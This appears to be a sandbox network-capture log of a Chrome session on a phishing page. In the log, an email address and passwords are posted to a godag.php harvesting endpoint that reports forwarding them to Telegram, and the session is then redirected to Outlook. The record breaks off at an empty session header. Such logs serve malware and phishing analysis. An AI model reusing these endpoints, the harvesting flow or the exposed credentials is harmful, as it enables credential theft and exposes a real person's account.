2025-01-10 17:37:58 UTC	712	OUT	POST /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive Content-Length: 52 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://t6vgccvtc.thehang.top:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:58 UTC	52	OUT	Data Raw: 69 73 61 64 6f 73 61 3d 76 65 72 73 74 65 65 67 25 34 30 6b 75 2e 65 64 75 26 67 74 61 67 6f 6c 61 73 3d 4c 25 33 45 44 31 57 29 5f 41 68 4f 5f 77 56 71 52 Data Ascii: isadosa=versteeg%40ku.edu&gtagolas=L%3ED1W)_AhO_wVqR
2025-01-10 17:37:59 UTC	1115	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Set-Cookie: PHPSESSID=moommleviddhe8cftknjaacvg3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TJnyvZMTlvqZO6xmxIGAIzVyd%2B1DMTFRyIf7NTPEvtUIx%2B3qJ5JHNB60arq5Q%2BWMmMsseOOsBYL9qdlQgdINZPL%2F5xm4iU1RBQwBNrWlMAdYThY713i0Im8wyl6HdF7psE%2BH4yEInAo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe70244b1dde9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1665&rtt_var=625&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1364&delivery_rate=1751649&cwnd=209&unsent_bytes=0&cid=e666d07f807abe4a&ts=745&x=0"
2025-01-10 17:37:59 UTC	51	IN	Data Raw: 32 64 0d 0a 44 61 74 61 20 73 61 76 65 64 20 61 6e 64 20 73 65 6e 74 20 74 6f 20 54 65 6c 65 67 72 61 6d 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 0d 0a Data Ascii: 2dData saved and sent to Telegram successfully!
2025-01-10 17:37:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49759	104.21.64.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:00 UTC	358	OUT	GET /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:00 UTC	1116	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Set-Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=msYfyVJoUWbJAjAf3rm0X1igGK2xMxU%2BGeKEVgjG0chQUTP1qhgSAISc5K%2FYdxKPEAsqUJ9nI9XV%2BBQnvmzoXYmRKqyP%2FAfOmqRNkvoyUPsY2308Sa0eZVf%2BfMj9XAcN73u8MgsY%2FP4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe702ecc014414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1706&rtt_var=640&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=936&delivery_rate=1710603&cwnd=180&unsent_bytes=0&cid=62ee883d7ac1aee7&ts=585&x=0"
2025-01-10 17:38:00 UTC	41	IN	Data Raw: 32 33 0d 0a 49 6e 76 61 6c 69 64 20 65 6d 61 69 6c 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 65 6d 70 74 79 2e 0d 0a Data Ascii: 23Invalid email or password is empty.
2025-01-10 17:38:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49760	104.21.96.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:10 UTC	712	OUT	POST /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive Content-Length: 35 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://t6vgccvtc.thehang.top:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:10 UTC	35	OUT	Data Raw: 69 73 61 64 6f 73 61 3d 76 65 72 73 74 65 65 67 25 34 30 6b 75 2e 65 64 75 26 67 74 61 67 6f 6c 61 73 3d Data Ascii: isadosa=versteeg%40ku.edu&gtagolas=
2025-01-10 17:38:10 UTC	1109	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Set-Cookie: PHPSESSID=2odl3bb0ht6e84eqlelnted2lv; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l9C8ofzyCfjvTtuZUwBuIgADjEMLLhEurEU%2FrarDY2jTFzEh1LdGfeJe0Z5JQwo0Auw5QAHHdCr593%2BDq0IGDKhIo0Bk5Zlih5IHdIdhl1WvQc92QuaCboF6XfIlndZHk9RnVjkrn6A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe706e2e5172a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1999&min_rtt=1991&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1347&delivery_rate=1416100&cwnd=212&unsent_bytes=0&cid=8419d8a4ca15b2d2&ts=541&x=0"
2025-01-10 17:38:10 UTC	41	IN	Data Raw: 32 33 0d 0a 49 6e 76 61 6c 69 64 20 65 6d 61 69 6c 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 65 6d 70 74 79 2e 0d 0a Data Ascii: 23Invalid email or password is empty.
2025-01-10 17:38:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49762	104.21.64.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:11 UTC	404	OUT	GET /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
2025-01-10 17:38:12 UTC	1096	IN	HTTP/1.1 302 Found Date: Fri, 10 Jan 2025 17:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type Location: https://outlook.office.com/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mOwj2NBF8kMCWbOoqmk%2BEJY6f9UKb32Y4JNBL2np2ZWEyFpzjzW%2BLHOX3EiOtCDFTT%2Fx6pdTpclzb2zN5sKedePTaon9DdtztwMa6r5AUNndoiNmOF%2FkjhrLoutbRQwt3HLU283zYGQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe70786be8de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1599&rtt_var=614&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=982&delivery_rate=1760096&cwnd=243&unsent_bytes=0&cid=8999f139133ebcf0&ts=312&x=0"
2025-01-10 17:38:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49763	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:12 UTC	342	OUT	GET / HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:13 UTC	636	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office.com/mail/ Server: Microsoft-IIS/10.0 request-id: fcbc5328-c5eb-ddbf-8130-9b720fc4fa5f Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR0P281CA0105 X-RequestId: f55df76f-2599-4d3f-8b6a-8a7de10e9102 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: FR0P281CA0105.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: KFO8/OvFv92BMJtyD8T6Xw.0 X-Powered-By: ASP.NET X-FEServer: FR0P281CA0105 Date: Fri, 10 Jan 2025 17:38:12 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49764	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:14 UTC	347	OUT	GET /mail/ HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:14 UTC	920	IN	HTTP/1.1 417 Server: Microsoft-IIS/10.0 request-id: 0e231976-2da1-11c5-a304-5f4e706ad22e Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedFETarget: FR2P281CU007.internal.outlook.com X-BackEndHttpStatus: 417 X-CalculatedBETarget: FR6P281MB3533.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 417 x-besku: UNKNOWN X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 417 X-BEPartition: Clique/CLDEUP281FRA02 X-FEProxyInfo: FR0P281CA0105.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: dhkjDqEtxRGjBF9OcGrSLg.1.1 X-FEServer: FR2P281CA0108 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FirstHopCafeEFZ: HHN X-Powered-By: ASP.NET X-FEServer: FR0P281CA0105 Date: Fri, 10 Jan 2025 17:38:14 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49765	104.21.96.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:19 UTC	712	OUT	POST /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive Content-Length: 54 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://t6vgccvtc.thehang.top:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:19 UTC	54	OUT	Data Raw: 69 73 61 64 6f 73 61 3d 76 65 72 73 74 65 65 67 25 34 30 6b 75 2e 65 64 75 26 67 74 61 67 6f 6c 61 73 3d 79 42 63 25 32 43 6f 66 2e 6f 25 32 36 25 35 42 41 53 5f Data Ascii: isadosa=versteeg%40ku.edu&gtagolas=yBc%2Cof.o%26%5BAS_
2025-01-10 17:38:20 UTC	1112	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Set-Cookie: PHPSESSID=0k0vkn0hj9mknlrbpej3a0leog; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KgamN6NA2zrDbVUHa5geYQ%2FNEq16u9lsyYdYQ1RlnG%2FuxYst2HOc1K3qHKaZNcz7WwXWeVJ0czm5YvujZ06GOl215V9V21lFRiDqzvvZndwDtJSpH8LHje6CikJPTjBJQai4YFlZfpI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe70a74c6c72a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31860&min_rtt=2024&rtt_var=18562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1366&delivery_rate=1442687&cwnd=212&unsent_bytes=0&cid=d57e3721dc324938&ts=740&x=0"
2025-01-10 17:38:20 UTC	51	IN	Data Raw: 32 64 0d 0a 44 61 74 61 20 73 61 76 65 64 20 61 6e 64 20 73 65 6e 74 20 74 6f 20 54 65 6c 65 67 72 61 6d 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 0d 0a Data Ascii: 2dData saved and sent to Telegram successfully!
2025-01-10 17:38:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	49767	104.21.64.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:21 UTC	404	OUT	GET /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
2025-01-10 17:38:21 UTC	1094	IN	HTTP/1.1 302 Found Date: Fri, 10 Jan 2025 17:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type Location: https://outlook.office.com/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DvdmfmyNxKPMMDJG3ao%2FSMaI5Zw0lCGYi5lagb5rbdPEe4Ai%2F6Hxj5CpYfM8%2FsGuiSIUqYn5G7qpvOCsHFsvDIz3SXe2k46RrJYBNr8YdjTN27FS7GKspyjIpTTbzfPooI4VdSHf1UA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe70b26995de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1586&rtt_var=610&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=982&delivery_rate=1769696&cwnd=243&unsent_bytes=0&cid=fb88cc4654f7cced&ts=323&x=0"
2025-01-10 17:38:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	49768	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:22 UTC	342	OUT	GET / HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:22 UTC	636	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office.com/mail/ Server: Microsoft-IIS/10.0 request-id: f1614013-090b-e355-20b8-3600d6e55227 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR0P281CA0105 X-RequestId: 5f9f74be-437d-40e8-a5c7-f3916ad453f4 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: FR0P281CA0105.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: E0Bh8QsJVeMguDYA1uVSJw.0 X-Powered-By: ASP.NET X-FEServer: FR0P281CA0105 Date: Fri, 10 Jan 2025 17:38:22 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	49769	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:23 UTC	347	OUT	GET /mail/ HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:23 UTC	726	IN	HTTP/1.1 417 Server: Microsoft-IIS/10.0 request-id: 05f8fb9f-948a-e240-eea0-d50968e2d7e2 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedBETarget: FR3PPFA67B257C9.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 417 x-besku: UNKNOWN X-Proxy-RoutingCorrectness: 1 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 417 X-FirstHopCafeEFZ: HHN X-BEPartition: Clique/CLDEUP281HHN02 X-FEProxyInfo: FR0P281CA0099.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: n/v4BYqUQOLuoNUJaOLX4g.1 X-Powered-By: ASP.NET X-FEServer: FR0P281CA0099 Date: Fri, 10 Jan 2025 17:38:22 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	49771	104.21.96.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:27 UTC	712	OUT	POST /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive Content-Length: 35 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://t6vgccvtc.thehang.top:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:27 UTC	35	OUT	Data Raw: 69 73 61 64 6f 73 61 3d 76 65 72 73 74 65 65 67 25 34 30 6b 75 2e 65 64 75 26 67 74 61 67 6f 6c 61 73 3d Data Ascii: isadosa=versteeg%40ku.edu&gtagolas=
2025-01-10 17:38:28 UTC	1114	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Set-Cookie: PHPSESSID=e4r45gfo4mv6irrglgrj2d19rc; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q9tIYWWKQAEKe8XThqkL4sqOBYkMmt0NhhSrPAXfHEYC%2FVUqZ6KUhCc%2FfjzKJriB8fhJrDHiR%2FdQebOvcEqrp7vkv3DGCEzJ1FkGRT0dg4zQO5vox6oIP%2FyuySAf5CS9j6WytXPNxFk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe70dd48bd4363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3256&min_rtt=1778&rtt_var=1723&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1347&delivery_rate=1642294&cwnd=240&unsent_bytes=0&cid=481260cc1441174a&ts=564&x=0"
2025-01-10 17:38:28 UTC	41	IN	Data Raw: 32 33 0d 0a 49 6e 76 61 6c 69 64 20 65 6d 61 69 6c 20 6f 72 20 70 61 73 73 77 6f 72 64 20 69 73 20 65 6d 70 74 79 2e 0d 0a Data Ascii: 23Invalid email or password is empty.
2025-01-10 17:38:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	49773	104.21.64.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:29 UTC	404	OUT	GET /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
2025-01-10 17:38:29 UTC	1096	IN	HTTP/1.1 302 Found Date: Fri, 10 Jan 2025 17:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type Location: https://outlook.office.com/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ASuA8LbyNu7IQ6397Eczh42JSXhYrI2h%2BFGl1uNrdlMHZ3M5oAWe%2FqSZU4aLmQ8ADyatasNl%2BlcUcRCwvXeye3uFjc%2FzYZryZUQXY3rI348Vnkb62ZAmdPTbpi4NS1fZQnNWFOEUIwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe70e6ea037c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2056&min_rtt=2018&rtt_var=784&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=982&delivery_rate=1446977&cwnd=218&unsent_bytes=0&cid=40b60fc8ce540188&ts=335&x=0"
2025-01-10 17:38:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	49774	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:30 UTC	342	OUT	GET / HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:30 UTC	636	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office.com/mail/ Server: Microsoft-IIS/10.0 request-id: c70223fe-f4ab-3d99-b530-85eb24237f8c Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR0P281CA0102 X-RequestId: 73b65a24-be3c-4903-a961-fdcd3e975e18 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: FR0P281CA0102.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: /iMCx6v0mT21MIXrJCN/jA.0 X-Powered-By: ASP.NET X-FEServer: FR0P281CA0102 Date: Fri, 10 Jan 2025 17:38:30 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	49775	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
